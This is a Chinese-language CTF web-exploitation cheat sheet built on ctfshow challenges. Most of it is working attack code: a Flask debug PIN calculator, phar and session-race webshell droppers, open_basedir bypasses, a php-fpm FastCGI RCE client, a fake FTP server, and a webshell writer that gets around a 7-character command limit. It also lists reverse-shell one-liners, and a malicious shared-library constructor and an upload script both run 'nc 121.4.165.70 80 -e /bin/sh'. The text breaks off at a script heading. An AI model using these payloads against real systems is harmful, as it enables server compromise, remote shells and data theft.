Flask算PIN
原理
如果python的flask开启了debug调试,通过url/console可以进入控制台,但是需要PIN。
如何算PIN
- 注意: machine_id所需的三个文件,/etc/machine-id在docker环境下可能不存在
- 注意:machine_id按理来说需要三个文件的拼接,如果不对尝试只使用单独的文件,例如只用boot_id或者/proc/self/cgroup
- py3.6和py3.8的生成的PIN是不一样的
脚本(PYTHON3.8,sha1加密)
import hashlib
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd ,执行的用户,可以通过/etc/passwd推断
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到,如果环境有文件包含,那么包含空路径可以从报错得到路径
]
private_bits = [
'2485377583391',# /sys/class/net/eth0/address ,将读取的结果转为十进制
'b0253079-fb4b-4235-ad30-f3d64b6c59677b0eda3a642f514185cfaef0c0f0db04576e1cf14e91354220344ce44c794718'
# /etc/machine-id (docker环境没有此文件) + /proc/sys/kernel/random/boot_id + /proc/self/cgroup 可以通过文件包含读取,读取的结果按循序拼接在一起
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
脚本(PYTHON3.6,MD5加密)
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/eth0/address ,将读取的结果转为十进制
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
# /etc/machine-id (docker环境没有此文件) + /proc/sys/kernel/random/boot_id + /proc/self/cgroup 可以通过文件包含读取,读取的结果按循序拼接在一起
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
php无字母数字命令执行
原理
通过异或,例如ord(a^b)输出的是3,以此同理,达到无字母数字RCE
- ('phpinfo')(); 这样是相当于phpinfo();
生成脚本
<?php
$precode=<<<code
\$_=('@'^'!');
\$__=\$_++;
\$___=++\$__;
\$____=++\$___;
\$_____=++\$____;
\$______=++\$_____;
\$_______=++\$______;
\$________=++\$_______;
\$_________=++\$________;
\$__________=++\$_________;
\$___________=++\$__________;
\$____________=++\$___________;
\$_____________=++\$____________;
\$______________=++\$_____________;
\$_______________=++\$______________;
\$________________=++\$_______________;
\$_________________=++\$________________;
\$__________________=++\$_________________;
\$___________________=++\$__________________;
\$____________________=++\$___________________;
\$_____________________=++\$____________________;
\$______________________=++\$_____________________;
\$_______________________=++\$______________________;
\$________________________=++\$_______________________;
\$_________________________=++\$________________________;
\$__________________________=++\$_________________________;
\$_=('@'^'!');
code;
eval($precode);
#使用异或生成任意无字母数字代码
function createCode($code){
global $precode;
$ret = "";
for ($i=0; $i < strlen($code); $i++) {
$c = $code[$i];
if(ord($c)<97 || ord($c)>122){
$ret .= "$c";
}else{
$ret .= '$'.str_repeat('_', ord($c)-96);
}
}
return urlencode("$precode(\"".substr($ret,0,stripos($ret, "("))."\")".substr($ret, stripos($ret,"(")));
}
//在这里修改想要执行的代码
echo createCode('system("ls /");');
zip上传phar包含
使用环境
需要有上传点,并且可以上传任意文件。需要有include点,可以用phar协议
#示范题目代码 @ctfshow
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
解题
生成phar包,php代码
<?php
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[a]);?>");
$phar->stopBuffering();
?>
使用python进行请求
import requests
url="http://6812df6b-f717-4eda-ba0e-95b087e887f2.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
# 根据题目 file为要上传的文件目录,没有权限可以往tmp里面写,content是文件内容
data2={'file':'phar:///tmp/a.phar/a','content':'123','a':'system("cat f*");'}
#文件包含使用了phar协议,而生成的phar包里面有a.txt,包含之后可以执行eval
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
phar反序列化
使用原理 & 条件
- 原理:能使用phar伪协议的地方都能自动触发序列化metadate里面的数据
- 使用目的:进行反序列化
- 使用环境:首先要能上传文件,当前的web目录或者/tmp目录,要上传phar包
- 使用环境:需要能够触发这个文件的函数,并且可控,可使用的函数下面所示
- 如何使用: 先上传进行反序列化好的phar包,然后找到可控的函数点,对上传的文件路径进行触发,即可触发反序列化
例题
例题代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class hacker
{
public $code;
public function __destruct()
{
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if (isset($content) && !preg_match('/php|data|ftp/i', $file)) {
if (file_exists($file)) {
unlink($file);
//unlink可以触发phar伪协议的反序列化
} else {
file_put_contents($file, $content);
}
}
先根据题目生成phar包,进行反序列化
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
//需要反序列化的类
$a=new hacker();
//实例化
$a->code="system('cat f*');";
//使用实例化中的code 赋值
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[a]);?>");
$phar->stopBuffering();
然后使用python脚本进行上传
import requests
url = "http://6e1e05f1-8372-4e70-9122-48c5f8175158.challenge.ctf.show/"
data1= {
"file" : "/tmp/shell.phar",
"content" : open('shell.phar','rb').read()
}
data2= {
"file" : "phar:///tmp/shell.phar",
"content" : "sibei"
}
requests.post(url=url,data=data1)
req = requests.post(url=url,data=data2)
print(req.text)
open_basedir绕过
open_basedir就是文件函数操作的时候,判断操作的文件路径是否在配置文件设定的范围之内
探测目录脚本
/*第一种脚本*/
$a = "glob:///*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."\n";
}
closedir($b);
}
/*第二种脚本 需要url编码*/
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
姿势一
原理:通过命令,逐级改变目录,搭配上ini_set和eval函数
mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");
姿势二
通过蚁剑,通过插件市场来绕过
姿势三,通过P神的脚本
- 脚本出处: https://www.leavesongs.com/other/bypass-open-basedir-readfile.html
使用方式,通过GET或者POST传入,搭配eval。但是可能会字符串过长,可以通过远程包含
例题: eval($_POST[a]); POST传入a=include("https://sirbei.com/1.txt"); 来进行远程包含,然后GET进行url/?file=文件路径进行包含
<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for ($i = 1; $i < count($paths) - 1; $i++) {
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to)
{
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach ($from as $depth => $dir) {
// find first non-matching dir
if ($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if ($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir)
{
if (@is_file($deldir)) {
@chmod($deldir, 0777);
return @unlink($deldir);
} else if (@is_dir($deldir)) {
if (($mydir = @opendir($deldir)) == NULL) return false;
while (false !== ($file = @readdir($mydir))) {
$name = File_Str($deldir . '/' . $file);
if (($file != '.') && ($file != '..')) {
delfile($name);
}
}
@closedir($mydir);
@chmod($deldir, 0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//', '/', str_replace('\\', '/', $string));
}
function getRandStr($length = 6)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
无参数命令执行
例题代码
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
解题姿势
姿势1: 使用超全局变量当成参数
payload
url/?code=eval(end(current(get_defined_vars())));&b=echo `nl /ctfshowflag`;
原理
- 通过get_defined_vars获取超全局变量,然后自己传入一个变量作为参数,然后通过end() reset()等来筛选出自己的变量,可以使用var_dump进行调试
- eval内为参数,通过get_defined_vars()来获取超全局变量,变量的排序为get-post-cookie-files
- 然后通过以下这些来选中参数,reset()或者current()来获取第一组参数,end获取最后一组参数,next()获取下一个参数,prev()获取上一个元素
姿势2:使用http请求头信息来进行获取参数
payload
url/?code=eval(reset(getallheaders()));
控制 X-Forwarded-For: phpinfo();#
原理
- 使用getallheaders()获取https请求头信息,但是这些信息是可控的。
- 通过getallheaders()获取请求头信息,使用var_dump进行调试,直到选中自己所需的
- 通过以下这些来选中参数,reset()或者current()来获取第一组参数,end获取最后一组参数,next()获取下一个参数,prev()获取上一个元素
反弹shell专题
万能反弹shell
https://your-shell.com/
使用方法
监听机: nc -lvp 12345
反弹机: curl https://your-shell.com/监听机ip:监听机端口 | sh
其他反弹姿势
nc 不同操作系统情况不同
nc ip port -e /bin/sh (alpine)
nc -e /bin/bash ip port
nc -e /bin/sh ip port
nc -c bash ip port
bash
bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' (tcp)
sh -i >& /dev/tcp/ip/port 0>&1 (udp)
反弹shell后交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
更多反弹姿势
https://cloud.tencent.com/developer/article/1680591
https://blog.csdn.net/weixin_45751765/article/details/124160978
卡临时文件包含
所需条件
- 版本: PHP 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1
- 需要完整的包含点
- 需要能查看tmp下的文件
- 对包含文件的点输入代码 php://filter/string.strip_tags/resource=/etc/passwd
原理
PHP可以强制给全局变量或者上传文件,但是只是用不用的问题,php脚本结束后会自动删除PHP的临时文件和变量。
但是PHP7.0存在卡线程代码,那么脚本不会正常退出,就可以让临时文件不删除
只需要强行上传文件,然后卡线程,让临时文件不删除,就可以用文件包含去包含
例题 & 解 (@Ctfshow)
例题
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
include $file;
}else{
show_source(__FILE__);
print_r(scandir("/tmp"));
}
解题代码(python脚本)
import requests
url = "http://f4fa1102-2708-438b-afcf-3f2d9827c108.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"
file = {
"file": open("shell", "r").read()
}
requests.post(url, files=file)
python代码对文件包含点进行了卡线程,同时使用requests.post(file=file)进行了上传文件操作,那上传的文件不会被删除。然后手动包含即可RCE
卡session文件包含
使用条件
- 可以文件包含
使用目的 & 原理
强行上传文件,把文件上传进度存到里面 ,那么可以通过不停写文件,然后一直尝试去包含,那么就可以会RCE。session文件
假设我有个PHPSESSID,叫sibei,那么临时目录/tmp中,就会有一个文件/tmp/sess_sibei
脚本
import requests
import threading
session = requests.session()
sess = 'ctfshow'
url = "http://1a882837-38a8-4275-a0dc-34df9f88cf88.challenges.ctfer.com:8080/"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file = {
'file': 'ctfshow'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url + "?file=../../../../../../../tmp/sess_ctfshow")
if 'success' in r.text:
print("shell 地址为:" + url + "1.php")
exit()
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
pear文件包含
使用条件
- 完整的文件包含点
- php配置文件中需要打开register_argc_argv
- 需要使用bp发包,因为部分字符可能会被url编码
使用目的
写入文件,以便包含文件,或者直接访问
Payload
在文件包含点使用Payload(可以往tmp写入文件)
/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/sibei.php
payload拆解
/usr/local/lib/php/pearcmd.php&+config-create+/要写入的代码+要写入的文件路径
pear
SSRF打php-fpm 9000端口
使用条件
- 可以SSRF
- 使用gopherus工具,github地址: https://github.com/tarunkant/Gopherus
例题 & 解 @ctfshow
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);
$res=curl_exec($ch);
curl_close($ch);
使用Gopherus工具
将生成的link填入ssrf入口,注意:如果是GET传参要url二次编码,POST不需要
file_put_contents打PHP-FPM
使用环境
- file_put_contents有两个参数可控,web目录不可写,并且可以出网
- 需要一台攻击机用于nc和伪造ftp
使用目的
命令执行
例题 & 解 @ctfshow
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_GET['file'];
$content = $_GET['content'];
file_put_contents($file, $content);
攻击机
1. 开启伪造的ftp,python脚本
import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
#此处可改端口
s.listen(1)
print('ctfshow FtpEvilServer listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'200 c\n')
conn.send(b'200 t\n')
conn.send(b'200 f\n')
conn.send(b'300 s\n')
conn.send(b'200 h\n')
conn.send(b'227 127,0,0,1,0,9000\n')
conn.send(b'150 o\n')
time.sleep(1)
conn.send(b'250 w\n')
conn.close()
2. 开启监听(端口可改) nc -lvp 80
靶机
- 找到file_put_contents($file,$content)
- 在$file传入ftp://攻击机ip:攻击机开启的脚本ftp端口/123.txt
- $content传入Gopherus生成的payload,只需要_后面的
php-fpm未授权访问
使用环境
- php-fpm对外监听,即监听ip为0.0.0.0:端口,而不是127.0.0.1:端口
使用目的
命令执行
脚本
python exp.py -c '<?php system("cat /f*");?>' -p "php-fpm的端口号" "目标ip地址或者域名" /usr/local/lib/php/System.php
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute',
default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
jpg的图片性木马
特征 & 使用
图片内的马,base64加密,精心构造,不易检测
特定场景可以使用,上传后GET方式对1进行传参,即shell_exec($_GET[1])
base64_shell_jpg.zip
php恶意使用so文件
关于如何生成恶意的so文件
1. 直接使用GCC编译
vim hack.c
gcc -shared -fPIC hack.c -o hack.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void ctf(void)
{
unsetenv("LD_PRELOAD");
system("nc 121.4.165.70 80 -e /bin/sh");
/*放入你想要的命令*/
}
第一种(已知php扩展目录,并且可以上传文件到php扩展目录,还需要调用自定义函数)
使用条件
- 总体原理就是:环境需要加载到你上传的so文件
- 已知php的扩展目录,可在phpinfo内查看extension_dir,可以获得扩展目录
- 可以上传文件,函数file_put_contents
- php源码中需要有调用函数(调用的是扩展的C函数,而不是PHP函数)
- 需要将生成的恶意so文件上传到扩展目录,然后调用函数,例如shell_exec("php -r 'ctfshow();'");
第二种(可以上传文件,可以自定义环境变量,即可以控制putenv函数,执行了可以生成新进程的函数)
使用条件
- 总体原理就是:环境需要加载到你上传的so文件
- 可以上传文件
- 可以自定义环境变量,即可以控制putenv函数, 控制环境变量的点=LD_PRELOAD=恶意so文件
- 可以执行了生成新进程的函数,即执行了生成新进程的函数,那么环境变量的so文件就会执行
putenv单独利用
破壳漏洞(CVE-2014-6271)
- 需要完全可控putenv
- env控制点=hack=() { :; }; 想要执行的命令
- 例如env=hack=() { :; };ls
借壳生蛋
利用条件
- 如例题所示,相当于重构whoami函数环境变量,将whoami改为自己要执行的命令
- ubuntu的sh指向zsh,alpine的sh指向ash无法使用姿势
例题
例题代码
<?php
$env = $_GET['env'];
if(isset($env)){
putenv($env);
system("whoami");
}else{
highlight_file(__FILE__);
}
payload
url/?env=BASH_FUNC_whoami%%=() { whoami;}
不同字符长度下的命令执行
视频:https://www.bilibili.com/video/BV15A4y1f7Yy
七字符限制(Web目录可写)
利用条件
- 需要能够执行shell命令的函数,例如shell_exec、system等
- 如果被限制长度在七个字符以内及七个字符可使用
原理
- >php 可以在shell中可以创建名为php的文件
- ls -t 可以将当前目录的文件,将创建时间从早到晚的文件依次排列,例如依次创建 php 1. shel ,那么ls -t就是排列为shel 1. php
- 而ls -t > 0 ,意思就是将排列好的文件写入到0这个文件,例如依次创建 0 \> php 1. shel echo,那么ls -t 的结果就为echo shell.php > 0
- 如果构造出echo 123456 > 1.php,然后存入到一个文件中,然后执行这个文件,就可以做到命令执行
- 脚本原理:将要写入的命令,从尾到头依次拆开,利用Linux重定向进行创建文件,然后利用ls -t > 0,将排列好的文件名写入到0这个文件,最后执行这个文件,即可生成shell的php文件
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 7){
shell_exec($cmd);
}
脚本,原理如上所示
构造出的文件为1.php,内容为<?php eval($_GET[1]);
import requests
import time
url = "http://04033e81-1a8b-48dc-94a7-807b519a9d47.challenge.ctf.show/"
payload = [
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]
# 倒序写入字符,然后ls -t > 0 ,以创建文件的时间从早到晚的顺序排列文件,而构造的字符串是最终写入的时候后是:<?php eval($_GET[1]); ,写入到1.php
def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(1)
def check():
response = requests.get(url + "1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "1.php")
def main():
run()
check()
if __name__ == '__main__':
main()
七字符限制(Web目录不可写)
思路
- 需要能够执行shell命令,需要shell_exec或者system或者eval之类的
- web目录不可写,可以往tmp目录写,先强制上传,文件会临时存放在/tmp目录,然后. /t*/* ,执行/tmp目录下的所有文件
例题 & 脚本
例题 @ctfshow
<?php
#flag in database;
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 7){
shell_exec($cmd);
}
脚本思路:对POST点强制上传文件,存到/tmp目录下,然后执行. /t*/* 执行/tmp目录下的所有文件
import requests
url = "http://aa4b47ee-a973-463b-9321-94e4039ae6af.challenge.ctf.show/"
files = {
"cmd": b"#!/bin/sh\nnc 121.4.165.70 80 -e /bin/sh"
}
data = {
"cmd": ". /t*/*"
}
requests.post(url, data=data,files=files)
命令执行,或 异或 取反 自增脚本
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
或运算生成脚本
如何使用
将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]
脚本
<?php
/* php脚本*/
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*py脚本*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
异或运算生成脚本
如何使用
